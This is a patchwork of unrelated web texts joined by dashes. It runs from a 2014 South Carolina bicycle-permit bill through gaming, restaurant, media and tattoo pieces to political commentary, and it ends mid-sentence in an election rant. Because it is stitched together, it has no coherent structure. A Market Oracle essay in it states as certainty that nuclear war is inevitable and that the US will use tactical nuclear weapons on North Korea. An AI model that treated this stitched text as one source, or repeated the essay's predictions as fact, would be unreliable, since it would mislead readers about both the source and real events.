Assembly 120th Session, 2013-2014 Download This Bill in Microsoft Word format Indicates Matter Stricken Indicates New Matter H. 4923 STATUS INFORMATION General Bill Sponsors: Rep. Nanney Document Path: l:\council\bills\dka\3161cm14.docx Introduced in the House on March 12, 2014 Currently residing in the House Committee on Education and Public Works Summary: Bicycles HISTORY OF LEGISLATIVE ACTIONS Date Body Action Description with journal page number ------------------------------------------------------------------------------- 3/12/2014 House Introduced and read first time (House Journal-page 13) 3/12/2014 House Referred to Committee on Education and Public Works (House Journal-page 13) View the latest legislative information at the website VERSIONS OF THIS BILL 3/12/2014 (Text matches printed bills. Document has been reformatted to meet World Wide Web specifications.) A BILL TO AMEND THE CODE OF LAWS OF SOUTH CAROLINA, 1976, BY ADDING SECTION 56-1-1715 SO AS TO REQUIRE THE OWNER OF A BICYCLE TO OBTAIN A PERMIT FROM THE DEPARTMENT OF MOTOR VEHICLES AND LIABILITY INSURANCE AS IS REQUIRED OF MOTOR VEHICLES BEFORE OPERATING A BICYCLE ALONG A HIGHWAY WHOSE MAXIMUM SPEED LIMIT IS AT LEAST THIRTY-FIVE MILES AN HOUR; AND BY ADDING SECTION 56-3-115 SO AS TO PROVIDE THAT NOTWITHSTANDING ANY OTHER PROVISION OF LAW, FOR THE PURPOSES OF REGISTRATION AND THE REQUIRED LIMITS OF LIABILITY INSURANCE, A MOPED IS A MOTOR VEHICLE. Be it enacted by the General Assembly of the State of South Carolina: SECTION 1. Article 9, Chapter 1, Title 56 of the 1976 Code is amended by adding: "Section 56-1-1715. (A) Notwithstanding another provision of law, the owner of a bicycle who is at least fifteen years old shall obtain a bicycle permit from the Department of Motor Vehicles upon payment of a fee of five dollars and maintain liability insurance on the bicycle as is required of an owner of a motor vehicle as provided in Chapter 77, Title 38, before operating the bicycle along a highway whose maximum speed limit is at least thirty-five miles an hour. (B) Before the department issues a bicycle permit, the applicant must pass successfully all parts of a bicycle safety written examination that is developed by the department. The examination shall include a test of the applicant's eyesight, as pertains to the operation of a bicycle, a test of his ability to read and understand highway signs regulating, warning, and directing traffic and his knowledge of the traffic laws of this State. This permit must be in the applicant's immediate possession when the bicycle is operated along a highway whose maximum speed limit is at least thirty-five miles an hour. A person who is less than fifteen years old may not operate a bicycle along a highway whose maximum speed limit is at least thirty-five miles an hour." SECTION 2. Article 3, Chapter 3, Title 56 of the 1976 Code is amended by adding: "Section 56-3-115. Notwithstanding any other provision of law, for the purposes of registration and the required limits of liability insurance, a moped is a motor vehicle." SECTION 3. This act takes effect upon approval by the Governor. ----XX---- This web page was last updated on March 18, 2014 at 10:13 AM -Numerous keys for Sniper Elite 3 have been invalidated and their owners left practically empty handed after Steam and developing studio Rebellion discovered they were stolen and then re-sold to other vendors. Rebellion is offering the "Target Hitler" DLC extension as a make-good for those affected, but as far as the full game, they're being told to contact the reseller and demand a refund. Neither Rebellion nor Steam are offering that. Rebellion, in a forum thread now stretching more than 700 comments, explicitly held the resellers blameless. "One of our PC retail distributors informed us that some of their allotted Steam keys were stolen," Rebellion wrote. "We believe these keys were then resold to multiple companies, with no payments going to either Valve or the retail distributor." Rebellion informed Steam of this, and Steam revoked these keys. "We have in no way targeted any specific vendors (who may have also thought these keys were legitimate)," Rebellion added, "just this one set of keys." Rebellion is facing a storm of angry responses on the game's Steam page as well as the studio's Facebook page. The most it's offering is the DLC, on the understanding that some may have preordered these keys and, therefore, if they lose the game they would also lose "Target Hitler," which for now is available only as a preorder incentive. Buyers of the revoked keys have until July 4 to claim that DLC. "All we can suggest if you have been affected is to please contact your vendor and first ask for a replacement key, and then contact us for the free pre-order DLC if you are successful," Rebellion wrote. Polygon has contacted Rebellion for additional comment and will update this story if any is provided. -We offered a charity bet to all of the main party leaders, and the only one to take us up was Nigel Farage. He’s had his £500 on Soll at 20/1, with any proceeds going to the RNLI. Funnily enough, that was the horse I was planning to back. Not sure whether to be pleased or not that Nigel agrees with me. I ought to point out that I don’t remember backing a Grand National winner since the 1980s. For political science groupies, the selection has to be Bob Ford at 50/1. I don’t think the horse was named after Manchester University’s Rob Ford, co-author of the excellent UKIP study Revolt on the Right, but I could be wrong. If you fancy a bet, you can find the latest odds on the big race here. -After last month’s insane/awesome issue, Nailbiter returns with a story that reveals quite a bit about the series’ mythology. Is it good? Nailbiter #23 (Image Comics) Observations If you’re a deadbeat foster parent, then you kind of deserve having Finch and Crane bust into your house with their guns drawn. A trip down memory lane with Edward Warren: Come for the nightmare-inducing childhood drawings, stay for the revelations. When Edward Warren says things are about to get weird, you can count on it being an understatement. Poor Edward. I can’t believe I’m about to say this, but maybe he actually does deserve some sympathy… …and I immediately retract that statement. Speaking of feeling bad for people (and changing my mind), it’s nice to see this character again. Not sure the rest of the Nailbiter cast is going to feel the same way. Is It Good? If executed incorrectly, a multiple thread cliffhanger is a recipe for narrative frustration/disaster. Lucky for us, we are in the wonderfully capable hands of Josh Williamson, who crafts an ending to Nailbiter #23 that is both perfectly paced and exhilarating. Most of the issue is spent with Edward Warren slowly revealing things about himself to Alice. In the hands of a lesser writer, this could have turned into a massive exposition dump. Instead, Williamson ties Warren’s story perfectly into what has come before while simultaneously leading us on a bizarre trip into one of the darkest (and strangely well-lit) corners of Buckaroo. Meanwhile, this journey of discovery is juxtaposed with Finch and Crane’s mad dash to find Alice. Adding to the desperation of the search is their attempt to make sense of the evening’s brutal violence. Throw in a meeting between Finch and Marigold–along with Crane alluding to an even more improbable upcoming alliance–and you’ve got a couple of riveting plot lines to follow. And as if all that weren’t enough, the issue’s coda brings a major character back into the fold in a very big way. Admittedly, I wanted to scream at Williamson when he cut away from the Warren/Alice revelations, but the final page more than made up for it. As usual, Mike Henderson’s artwork is outstanding. He and colorist Adam Guzowski do a fantastic job rendering the issue’s many location and mood changes. I also love the way Henderson draws the returning character so differently from how we got used to seeing him/her before. As good as he is at drawing gore and scary guys in armor, Henderson’s ability to portray a character’s emotions and mental state might be his greatest strength. There’s not a whole lot of action for Henderson to draw this issue, but Williamson’s great dialogue and carefully rationed revelations more than make up for it. ‘Bound by Blood’ is turning out to be a perfect example of why Nailbiter is one of the best comics being published right now. -Juancarlo Parkhurst, owner of Lina’s Diner and Bar, with some of his crew members in the restaurant’s kitchen. Photo by Mike Diegel. Silver Spring’s newest restaurant, Lina’s Diner and Bar, will officially open Tuesday, May 30. “We opened up last Thursday, so this entire run, Thursday through Saturday is what we consider our soft open,” said Juancarlo Parkhurst. “We’ll be closed for the Monday holiday and then we’ll start Tuesday with lunch, dinner as well as happy hour.” Parkhurst started cooking in college about 20 years ago to pay the bills, he said. He also cooked during a brief stint in law school, which he said he hated. He switched to the front of the house, working in various restaurants in New York City and South Beach, then went back to cooking, eventually moving back to New York City. He’s been living in the Silver Spring area for about 12 years. “My most recent stint was as a general manager opening up RPM Italian,” he said, an upscale Italian restaurant in Mount Vernon. The inspiration for Lina’s comes from his childhood experience going to a diner in New York City in the Meatpacking District that he said, “just blew my mind, it was such a cool place. You were seated next to transvestites, prostitutes, business people. It was open 24 hours a day. It was really kind of what I guess New York was in the 80s and 90s.” What always intrigued him about that restaurant, he said, was that it was a diner but with a strong French influence. By going to other places in the city over the years, the bistro idea just got ingrained in him, Parkhurst said He’d started looking at the location (8402 Georgia Ave.) and talking to the landlord eight years ago before actually jumping out on his own with Lina’s. He spent about two and half months renovating the space to get ready for the opening. The diner is named after his daughter, 10-year-old Carolina. The outdoor patio is named Sam’s Garden after his son (which also explains why the section of the menu listing burgers and such is labeled “Samwiches”). “It’s a very small, kind of recognizable comfort food menu,” he said about the offerings. “Obviously, we have strong classics.” Those dishes include steak frites, a double cheeseburger, an omelette in the French style (“a little loose on the inside”), pork belly poutine, grilled bratwurst, and a Croque Monsieur or Madame among other items. The restaurant will also start offering daily specials, including a fish of the day. The clientele during the soft open “has been a really interesting mix,” he said. “I’ve had young families, I’ve had young professionals, I’ve had kind of all walks of life over the last week and a half. It’s kind of what I wanted to go for—very much going back to that experience I had as a child. “You can’t be everything to everyone,” Parkhurst continued, “but I hope it’s a comfortable space for a lot of people.” Lunch at Lina’s will run from 11:30 a.m. to 2:30 p.m. and then reopen at 5 for dinner. Monday through Thursday, the kitchen will be open until 10 p.m. and the bar open until 11, and open one hour later for each on Friday and Saturday. The restaurant does not accept cash, only credit and debit cards. (Editor’s note: Lina’s Diner and Bar’s website will go live next week.) One of the pieces off artwork on the walls is a caricature by a local artist of Parkhurst’s daughter Carolina, for whom the diner is named. Photo by Mike Diegel. Follow Source of the Spring on Facebook, Twitter and Instagram. Sign up for our free Weekly Newsletter here. Submit events to our Community Events Calendar here. Please send tips and questions through our News Tips form, or email [email protected] Learn how to support Source of the Spring here. See something around town? Tag your photos on Twitter & Instagram with #SourceShots. -Don't be expecting Oculus Rift support for the PS4 or Xbox One any time soon. The Oculus Rift is making waves in the world of PC gaming as of late, trying it's best to provide gamers with the VR device we have been dreaming of since Tron. Even in the prototype stage, support for the device is constantly growing among PC developers, but Sony and Microsoft have seemingly shown very little interest. Talking to Tech Radar, creator Palmer Luckey says that's fine, explaining that the next-gen consoles are still too limited for his vision anyway. "Consoles are too limited for what we want to do. We're trying to make the best virtual reality device in the world and we want to continue to innovate and upgrade every year - continue making progress internally - and whenever we make big jumps we want to push that to the public." He says that his main problem with consoles is that after they are released, they are locked into a certain spec for a very long time. "Look at the PCs that existed eight years ago. There have been so many huge advances since then. Now look at the VR hardware of today. I think the jump we're going to see in the next four or five years is going to be massive, and already VR is a very intensive thing, it requires rendering at high resolutions at over 60 frames a second in 3D." "We're seeing games that are already saying they're gonna run in 720p on next gen so they can barely hit 60 in 2D," he continues, no doubt referencing the "resolutiongate" controversy. "It's hard to imagine them running a VR experience that's on par with PC." When asked if Luckey lumped Valve's upcoming "Steam Machines," (AKA, the Steam Box) in with his "consoles" statement, he is a bit more optimistic. "We're good friends with Valve," laughs Luckey, "We're great friends with them." Source: Tech Radar -In the history of TV—all 75 years of it—there has never been a time when so much content has been so readily available to watch. But with the average cable package now topping $103, according to Leichtman Research Group, and a new wave of direct-to-consumer services, viewers have more choices than ever in how they watch, via over-the-top, or OTT, services. “The key advantage to launching a stand-alone service is growing their audience beyond the traditional pay-TV ecosystem,” said Glenn Hower, a senior media analyst at the Dallas-based research firm Parks Associates. About 82 percent of TV households nationwide subscribe to some form of pay-TV service, according to Leichtman. That’s down 5 percent from 2011. As consumer behavior changed, and the technology got better, TV programmers took notice and started going over the top. CBS All Access was one of the first to launch in October 2014. It now has almost 1.5 million subscribers paying $5.99 a month for CBS shows as well as exclusive programs like The Good Fight and the upcoming Star Trek. HBO Now was the first premium direct-to-consumer service. It launched in April 2015 and now has more than 2 million subscribers paying $14.99 per month. CBS And while those platforms serve a wide audience, the new trend is niche. This month, Turner launched Boomerang, an ad-free streaming service that comes with access to thousands of hours of cartoons including the entire Hanna-Barbera, Looney Tunes and MGM libraries. Another streaming player, WWE Network, is built for fans of professional wrestling. “Back in 2012 and 2013, we started doing research among our fans, and we found out pretty quickly that WWE fans were consuming a lot of digital content online, about five times the national average,” WWE chief revenue and marketing officer Michelle Wilson told Adweek. “So while we were originally going down the path of launching a linear TV network, when we saw this data the light bulb went off for us and we felt this was an opportunity for us to go direct to our consumers.” WWE only ranks behind Netflix, Amazon Prime, Hulu and MLB.TV in total paid subscribers, according to a 2016 report from Parks Associates. Showtime is No. 9 and CBS All Access is No. 10 in total subscribers, per that same report. “We like calculated risks and we were willing to take the risk for the revenue upside and for the opportunity to drive more engagement,” said Wilson. “We felt streaming provided the greatest long-term transformative growth for WWE on a global basis.” The three-year-old WWE Network, which can be viewed with services like Roku and Apple TV, now has nearly 2 million paid and free trial subscribers across the globe. The service is $9.99 a month. While the standalone streaming model has been a hit for WWE, not every company sees the need to go over the top, whether on its own or with the new streaming bundles from the likes of AT&T’s DirecTV Now, Dish’s Sling and Google’s YouTube, as well as offerings from Hulu and PlayStation Vue. Bob Bakish, CEO of Viacom, which includes networks like Nickelodeon, Comedy Central, MTV and the soon-to-launch Paramount Network, says signing on with a streaming service may increase viewers, but won’t always make economic sense. “If you think about all these guys that have launched they’re all essentially the same,” said Bakish. “What I mean by that is they’re all about 40 bucks. They’re all based on broadcast and sports. And if you talk to the CEOs of any of them, they’ll tell you the same thing, which is we can’t make any money, which is probably code for we’re losing money on a variable basis.” -US Paving the Way for Massive First Strike on North Korea Nuclear and Missile Infrastructure The emerging Chinese super powers North Korean Proxy continues to accelerate towards being able to punch a hole through the US Military Empires encirclement of China as every other day brings North Korea a step closer towards it's primary objective of hitting and destroying the US Military base on Guam, home to over 10,000 troops and 160,000 US citizens, and which as the following map illustrates is just 1 of 400 US military bases in Asia for the express purpose of encircling and containing China. The latest news is that of a successful H-bomb test, though western scientists are reporting that the detonation registering on the richter scale was more on par with a 100k device rather an H-bomb that one would expect to have been several orders of magnitude more powerful. Still a 100k device would more than capable of destroying the US military base on Guam, in fact would be powerful enough to destroy most of the infrastructure of any of worlds major the cities. In response to which US Defence Secretary James Mattis stated that the US is considering military options towards eliminating the North Korean nuclear threat. Including warning of a 'massive military response' if North Korea attacks any US interests, and that Trump was being briefed on each of the "many military options" for dealing with the North Korean nuclear threat. "Our commitment among the allies are ironclad. Any threat to the United States or its territories, including Guam, or our allies will be met with a massive military response, a response both effective and overwhelming." "We are not looking to the total annihilation of a country, namely North Korea, but as I said, we have many options to do so." Earlier President Trump had warned of halting trade with any nation that does business with North Korea, which is primarily aimed at the $500 billion of goods imported annually from China. Ultimately the US objective is for North Korea to be taken over by South Korea, whilst for China it is the opposite objective. So the trend towards war with China remains in motion as I warned of in my in-depth analysis in the Trump Reset series that concluded BEFORE Donald Trump took office of why the US was inevitably trending towards War with China and therefore to understand why events such as a bellicose North Korea are happening one needs to look through prism of the world’s TWO global military and economic super powers. The United States as the defacto global super power, and the emerging Chinese super power that ultimately seeks to displace the United States with its own military and economic global empire. So that there is no confusion, a war that will likely involve the use of nuclear weapons is INEVITABLE as I iterated in my latest video analysis that concerned the role that the North Korean proxy was playing as China attempts to punch a hole through the ring of US military bases encircling China and its inevitable nuclear war consequences. https://youtu.be/a-bS0oWewgw (Note the video is unavailable on some devices such as mobile phones). In respect of which the US looks set to use at least a dozen tactical nuclear weapons on North Korea to neutralise their missile and nuclear infrastructure. Other videos in the Trump Reset - War with China series: Delirium - Why Trump Won the Election My first video in this series was in the immediate aftermath of the US election and explained why Trump won. The Putin Doctrine My second video concerned Trump following the "Putin Doctrine", one of there being no difference between that which is truth and that which is fiction. Will the CIA Assassinate President Trump? The prospects of the risk of President Trump going against the interests of the US military industrial, intelligence and corporate complex, such as being friendly towards Russia and dismissive of NATO and US intelligence that risks the CIA moving once more to remove a 'rogue' president from office, the last being 1963. Trump vs the Deep State that Hides in Plain Sight The "Deep State" best describes the invisible labyrinth of power which truly controls the United States no matter which party is in power against which a President Donald Trump will find himself doing battle against as his first press conference illustrates where Trump let rip into the mainstream press (CNN) as he reacted to the CIA's leaking of another MI6 dodgy dossier to the mainstream press, calling it all 'Fake News', fake intelligence by something that could have come out of Nazi Germany. And neither should it be forgotten that there are two other nuclear weapon proxies in the region, India for the US and Pakistan for China. Which as the North Korea theatre continues to escalate then soon could also be engineered towards threatening postures in the interest of each of the super powers interests i.e. India / China border skirmishes etc. Ensure you are subscribed to my always free newsletter and youtube channel Ensure for my forthcoming vides in the War with China series. By Nadeem Walayat http://www.marketoracle.co.uk Copyright © 2005-2017 Marketoracle.co.uk (Market Oracle Ltd). All rights reserved. Nadeem Walayat has over 30 years experience of trading derivatives, portfolio management and analysing the financial markets, including one of few who both anticipated and Beat the 1987 Crash. Nadeem's forward looking analysis focuses on UK inflation, economy, interest rates and housing market. He is the author of five ebook's in the The Inflation Mega-Trend and Stocks Stealth Bull Market series that can be downloaded for Free. Nadeem is the Editor of The Market Oracle, a FREE Daily Financial Markets Analysis & Forecasting online publication that presents in-depth analysis from over 1000 experienced analysts on a range of views of the probable direction of the financial markets, thus enabling our readers to arrive at an informed opinion on future market direction. http://www.marketoracle.co.uk Disclaimer: The above is a matter of opinion provided for general information purposes only and is not intended as investment advice. Information and analysis above are derived from sources and utilising methods believed to be reliable, but we cannot accept responsibility for any trading losses you may incur as a result of this analysis. Individuals should consult with their personal financial advisors before engaging in any trading activities. Nadeem Walayat Archive © 2005-2019 http://www.MarketOracle.co.uk - The Market Oracle is a FREE Daily Financial Markets Analysis & Forecasting online publication. -The past few days, it seems like every member of the media has been all over the attempt to conflate the Occupy Wall Street movement and the Tea Party. One person who’s not getting in the act, though? Glenn Beck. It’s unsurprising considering that Beck really, really likes the Tea Party and really, really doesn’t like Occupy Wall Street. And so, today on his radio show, Beck had fairly negative things to say about one such person making those connections; Jon Stewart. After playing clips of Stewart asking how the protesters are not like the Tea Party, Beck claimed he couldn’t fit all the reasons in even the two hour running length of his GBTV show. After accusing the OWS crowd of wanting to murder and cannibalize rich people, Beck went onto Stewart personally. “You know, Jon Stewart, I have absolutely no respect for you. You are not a thinking man at all.” So Glenn Beck and Jon Stewart don’t see eye to eye on the issue. I will say this, that’s one way the Tea Party and Occupy Wall Street are exactly, 100% identical. Listen to the clip below: (h/t) Have a tip we should know? tips@mediaite.com -I have been tattooed twice, say, the usual-machine-way and I’m not sure when I started the decision to have a traditional tattoo at least once. It appealed to me so much because it was raw and real. Then some friends went up the mountains to have their tattoos done manually, known as pagbabatok, by famous Whang Od (if you don’t know yet, it’s pronounced as Fang-Od). So I researched more about the traditional art, Whang-Od, and how to get there, through blogs and friends. So if you’ve read the title, I’m not really getting into those details. You can find tons of info in any search engine so go ahead and do that. I told my family and friends about my plans to go and they were all like, am I sure, can I handle the pain, it’s too risky and dangerous, blah blah. Days before our trip to Kalinga, we visited a friend who’s had his “batok” last year and has visited Buscalan many times already. Aside from the usual warnings of the dangerous road and rough trek, he mentioned, “Pero eto ang pinakamadumi na tato ah. Hanggang ngayon pag pinipisil ko yung tato ko, may lumalabas eh.” (“This is the dirtiest tattoo. Even now, when I pinch it, something comes out.”) I asked him if he ever had it checked by a doctor, he said no, simply because it will defeat the purpose of having it done traditionally. Also he was a friend of the group Tado was with on the way there, so he knew the people who died to take this journey, may they rest in peace, that’s why he asked me if I still wanted to go. You can also discover in blogs that though Whang Od changes the pine needle to use per person, she does not change the cloth she uses to wipe over the skin of those getting their tattoos. Even if you give her a new one to use, she won’t allow it. The ink to be used is the soot from her cooking-ware mixed with water. Honestly, knowing all these didn’t even shake my desire to go there. I have decided before I knew. I was ready to go alone, but my friend Keisha wanted to go too, so we went together. We also happen to meet Kuya Paolo along the way who’s heading to Buscalan. You can read about our trip here. So, yes, you already (hopefully) know the process is cringe-worthy. They don’t give you anesthesia. For me, it was 20 times more painful than machine tattoos, and I’d like to believe I have a strong pain tolerance. I managed not to cry or scream though, concentrating on the plants around and savoring the feeling of what the elders in the tribes have felt. Kuya Francis Pa-in, our guide, also told us stories. The pain was too much to bear for some that there were cases when the person peed, fainted, and yes, even pooped. In these instances, Whang Od won’t continue with the tattoo even if you insist, she can always tell if the person can or can’t bear it. Also for women on their dreaded time of the month, it is not advisable since it can be more painful or for whatever reason I don’t know. Ask your doctor. Don’t worry too much though, Keisha was on hers when she got tattooed and she’s fine. Her tattoo just bled profusely more than mine though I’m not sure if it’s the position or her condition that time. I earnestly hope what I’m saying doesn’t discourage you if you happen to plan to go. After we’ve been permanently branded a traditional Buscalan art, I was more than overwhelmed. I was exhilarated. I have never felt more alive and proud. The throbbing wasn’t so unbearable after. They just put coconut oil on it and said we didn’t have to put anything after. It looked like pointillism and it was swelling more than my previous tattoos after an hour. We were allowed to take a bath that afternoon, but getting it wet a day after wasn’t advisable since it might affect the natural scattering of the ink. The following day, about four inches of my arm was swelling in length, and an inch more in terms of width. I could not lower my hand because the blood flows down and it throbs like hell so I held it up all the time. This wasn’t the case for Keisha though, again, it might vary by the tattoo’s position. That’s when I understood what Kuya Francis said about tattoos on the legs and feet are so painful after because the blood flows down and you can’t really put them up unless you’re lying down. My wrist kept throbbing when my hand was down for at least a week. The soot ink started to form solid lines. I also observed that it looked and peeled like a normal wound, except the dried skin was black. Well, it’s really a wound after all. It was my personal choice not to put antibiotic or anything on it because I wanted it to be as genuine as the tradition. When my tattoo started to look out of hand though, I was slightly worried since nobody said that it would look so scathed after a week. People would stare at it with judging looks, like they were telling me I made a very unwise decision getting it. I didn’t really care. And those who inquired were taken aback upon hearing the story behind it. Although I admit, it gets pretty tiring to explain yourself to everyone. Thankfully, Keisha’s tattoo looked the same. So we tried to find out more about the healing process of this kind of tattoo and nothing in the internet mentioned it. So we just resorted to letting it heal naturally. On the third week I decided it was safe to put moisturizer on it since the wound was closed and was just repairing the skin, which was really, really itchy by the way. I applied RestoraDerm, since I use it when my skin gets too dry. It works wonders and it did work its wonder on my healing tattoo. The skin didn’t look too dry and it peeled faster, leaving a grey tint, like ash. It was still embossed though. I thought this was finally how the color was going to look like since the ink used was really soot. I consistently put the lotion every morning after bathing and before I go to sleep at night. Keisha told me she put on a regular lotion so I made her try RestoraDerm as well. She said it works better and the itching lessened, but a normal lotion will do. My tattoo still peeled and it looked like it had blackheads on the fourth week. I admit I always picked on it. I completely don’t recommend doing this though. When the excess skin came off, there were visible holes on my arm where the needle went through. It started to flatten as well but the skin was still unsmooth because of the irregularity the holes bring. Still, it looks healed now. My own eyes tell me that it’s infection free. Now the lines are obviously not perfectly straight, but that’s the beauty of it. It wasn’t made by a machine. It is purely done by the hands of a 95-year old Kalinga tattoo artist, with pine needle and soot as her tools, and almost a century’s worth of experience. I carry this art, traditionally only for the most brave and beautiful. All details mentioned were my own experiences and choices. I decided to share them since I found no other blog saying what happens AFTER you get your batok. So for those of you who are attempting to get your tattoos from Whang Od and are wondering about the risks and joys, you’re welcome. Though I earnestly discourage you to go there if you just want to look cool. Revere the art, the artist and the culture. Feel free to share how you managed your batok or if you have any questions on the comments below. 🙂 Advertisements -Town hall erupts in jeers after GOP official lies about ACA ‘death panels’ Constituents weren’t having it. Town hall erupts in jeers after GOP official lies about ACA ‘death panels’. (Credit: CNN screengrab) Confronted with talking to constituents about health care, these GOP lawmakers chose to hide Members of Congress are fleeing from concerned constituents. (thinkprogress.org) By Zack Ford Politifact’s 2009 “Lie of the Year” was brought back from the dead during a Saturday town hall hosted by Rep. Gus Bilirakis (R-FL)—and the mostly pro-ACA crowd wasn’t having any of it. Bill Akins—chair of Pasco County, Florida’s Republican Party—told the roughly 250 people in attendance that his problem with the Affordable Care Act is that “there is a provision in there that anyone over the age of 74 has to go before what is effectively a death panel.” As soon as the words “death panel” left Akins’ mouth, the crowd erupted in boos, jeers, and chants of “liar, liar.” “It’s in there folks. You’re wrong!” Akins replied, falsely, as Bilirakis tried to restore order. Akins then calls the angry crowd “children.” As CNN’s Eric Bradner reported from the event, Bilirakis heard from a man who said his daughter has a genetic disease is still alive because of the ACA and a doctor who reported seeing fewer self-paying patients since the ACA became law. But Bilirakis— who describes himself as a “staunch opponent of Obamacare” on his website—persisted in making his case that people should have the “choice” to be uninsured. “You gotta have choice, ladies and gentleman,” he said. “People should have the opportunity to pay for their own plan based on their own needs.” Bilirakis held a town hall on the Affordable Care Act last weekend, too. At that event, like the one on Saturday, he was confronted by a crowd mostly opposed to repealing the ACA. As ThinkProgress wrote on the occasion of Bilirakis’ previous town hall, his willingness to meet with his constituents “sets him apart from other Republican members of Congress, several of whom have recently fled constituent town halls in order to avoid dealing with crowds of pro-Obamacare demonstrators.” Another opponent of the ACA, Rep. Dave Brat (R-VA), recently said he doesn’t want to hold town halls because “since Obamacare and these issues have come up, the women are in my grill no matter where I go.” Republican members of Congress haven’t yet decided how to deal with the ACA, if at all, but all of the options they’ve considered for replacements would create more problems than they’d solve. Studies indicate repealing the ACA could cost 32 million people their health insurance, reduce U.S. job growth by al-most 1.2 million in 2019, and result in between 27,000 and 36,000 preventable deaths each year. Zack Ford Follow LGBT Editor at ThinkProgress.org. Gay, Atheist, Pianist, Un-apologetic “Social Justice Warrior -Surveillance footage captured a man robbing the TCF Bank branch at 4930 N. Milwaukee Ave. View Full Caption Bandittracker.com CHICAGO — Police said they arrested a man suspected of robbing a bank in Jefferson Park Sunday morning. A man robbed the TCF Bank branch at 4930 N. Milwaukee Ave. about 11:20 a.m., according to the FBI. He told tellers he had a weapon but never showed one, according to the FBI. He fled the building with an undisclosed amount of money, but cops caught up to a suspect matching his description about 10 minutes later, said Officer Janel Sedevic, a police department spokeswoman. The 36-year-old man was arrested but had not been charged as of early Monday afternoon, authorities said. Sedevic said no one was hurt in the robbery. -Eric (34) is the eldest brother with the highest education. He has his eye on increasing profits, improving customer service, and expanding the tow-truck fleet (currently at a whopping 3 trucks) in order to make a push into the huge Toronto market. Secretly, Eric’s come home after botching a transportation company merger in Saskatchewan. Jon (31) has been working at Bill & Sons Towing since he dropped out of high school in Grade 9. Jon sees himself as the rightful heir to running the family business, and believes Eric has swooped in with his ‘fancy college degree’ to take something that doesn’t belong to him. Highly resistant to change, Jon sees no point in expanding the business or improving customer service. Tony (30) is the undeniable screw-up of the family. Whether it’s “cleaning out” towed vehicles, or running insurance scams, Tony will do anything to stuff his wallet. Yet for all the trouble he causes, he’s a huge asset as an all-round utility man; he’s a skilled tow driver, mechanic, and locksmith. -A Manhattan nail salon owner defended her customers and store from an armed robber on Wednesday night. Annie Sheng, who owns Peony Nails Spa at 542 LaGuardia Place, just down the street from Washington Square Park, says it started when a man wearing a cap and a plaid shirt in her store around 8:30 p.m.; WABC 7 reports that besides Sheng, there were 10 customers, two children and her staff in the store. Sheng asked him if he needed any help and that's when he threatened her for the money. She told ABC 7, "He came my way and said, don't talk I have a gun, give me your money." As he approached her behind the cash register counter, Sheng said the robber reached for his gun, so she acted: "I see him try to go get it and I push it [his arm] and just push him," shoving him in the body and then shoving the gun down his pants. The robber walked out of the store, and Sheng followed him to the door and then called the police: Sheng, who told reporters she wasn't scared, is 5'4" and about 120 pounds. The attempted robber is about 5'11" and 160 pounds. Police say the suspect "fits the description" of a man wanted for other armed robberies at nail salons, according to the Post. Her 10-year-old daughter said, "She should have done it but at the same time, it was dangerous." -This election year has been absolutely unprecidented, even for people who have no real interest in politics. The television tells us that one of the two most untrusted, disliked candidates in living memory will become our next President- while simultaniously mocking and berating those who challenge the validity of this "representative democracy". Red-baiting, rampant corruption proven by email leaks, and mainstream denial- how the hell do we fix this? The key to understanding the chances of real change lies in recognizing that the most important variable in that equation is us. Life isn't a tv channel or Facebook feed to get updates on; it must be interactive for any success to occur. Think of Bernie's groundbreaking campaign- did we all just wait to see the results? Or did we make it happen? Yes, we were driven by enthusiasm and hope back then, which is now (quite purposely) in short supply... It's not all our fault- this purposely widespread and worsening poverty gives us no time or energy to do much more. Our "education" trains us to be disciplined robots, skilled mostly at consuming, following orders, and fighting with each other over petty personal differences without ever grasping the bigger picture. That self-destructive cognitive dissonance is also a primary cause for this country's (profitably medicated) rampant depression and mental illness. A lot of the issue is our successful creation of a "viewer" society, where the majority lives off the media's narrative for their reality checks instead of actually making anything happen. Reality is external, somewhere else, something that you get updates on from Twitter. In our Coke-or-Pepsi mentality, any healthy skepticism about the credibility or motive of 'news' is mitigated by the choice of different flavored networks- 'lesser evil' narratives become "truth". Then add to that all of the indoctrinated divisive thinking perpetuated by over-hyped labels, categories, and blatant scapegoating. Community spirit and true patriotism is disintegrating, being replaced by every-citizen-for-themselves desperation which breeds populace infighting instead of cooperative pride. The establishment's version of society is just another corporate product that we were lured into, then became a stranglehold monopoly at all our expense. What both Bernie and Trump had in common was the idea that we don't have to be willing victims to it. But while Bernie's approach was civil, gentlemanly revolution built around equality and integrity, Trump's was empowerment of belligerent non-conformity and disrespect as a blunt anti-status quo tool. Thus, we Berners largely considered the Trump crew to be ignorant and chaotic; the Trumpers called Bernie and his fans weak, establishment, and "cucks". As is the reality in just about every polarized situation, neither are entirely correct... and neither entirely wrong. What Trump's crew has right is that we are the victims only because we allow ourselves to be, following the polite rules even when completely, irrefutably unacceptable. We've just been held hostage long enough in an undemocratic system that our own rights and freedoms are things we no longer personally defend, just wait and hope desperately that others will- yet our lives, laws, and opportunities are dictated to us, worsening, and we have proof it's rigged. It's completely valid; however, when framed in a mob mentality with a fairly universally distasteful leader, it's easily condemnable, thus easily dismissable, thus susceptible to the current mainstream media tactic of "Trump says that the elections are rigged, CAN YOU BELIEVE IT? Because if you do, you must support TRUMP. How can anyone be so anti-American? PEACEFUL TRANSITION OF POWER, SAUSAGE BEING MADE, now here's more celebrities!" In a capitalist land of scheming dishonesty, where respectful integrity can be perceived as a fatal disadvantage in business, life, and politics, Trump fans picked their well-qualified challenger. Consistency and trustworthiness came second to the justified anger and hatred toward the smug, elitist establishment "left". Under that completely untrue false-progressive flag, dismissal of the Democratic party also easily included their 'socialist' alternative candidate. What Bernie's political revolutionaries had right is that populace unity is absolutely essential, and finding common ground is always more powerful and productive than finding differences to fight among ourselves over. His example was that respectful dialogue, even (or especially) with those with opposing views, could be done using merely facts, not incivility and cheap personal shots. He taught an entire generation what the words "civil servant" could mean. The contrast left many Berners logically analyzing everything and everyone with their now validated "unrealistic ideological purity", including the ridiculously over-covered Trump campaign. They saw the violence, heard all the cavalier rhetoric, and summarily dismissed Trump and his fans as irrational, dangerous fools. While Hillary must indeed be stopped, exchanging one ego-driven con artist for another wasn't just irrational, but a moral antithesis. In my view, both were doing the best they could under ugly circumstances to work for the common greater good- end of this neoliberal tyranny, recognition of the ugly reality for the majority, and swift accountability for those who orchestrated and profited off this corporate takeover and subversion of our democracy. Those are the overlapping goals I firmly believe we must build on to take our country back; surely it far outweighs what might divide us all? The rich, duplicitous political actors have taken over both controlling political parties, replacing representation 'of the people, by the people, for the people' with representation 'of the sponsors, by the corporate media, for the elite agendas' - which by their greedy nature and forced perpetuation must continuously run contrary to our own rights, freedoms, 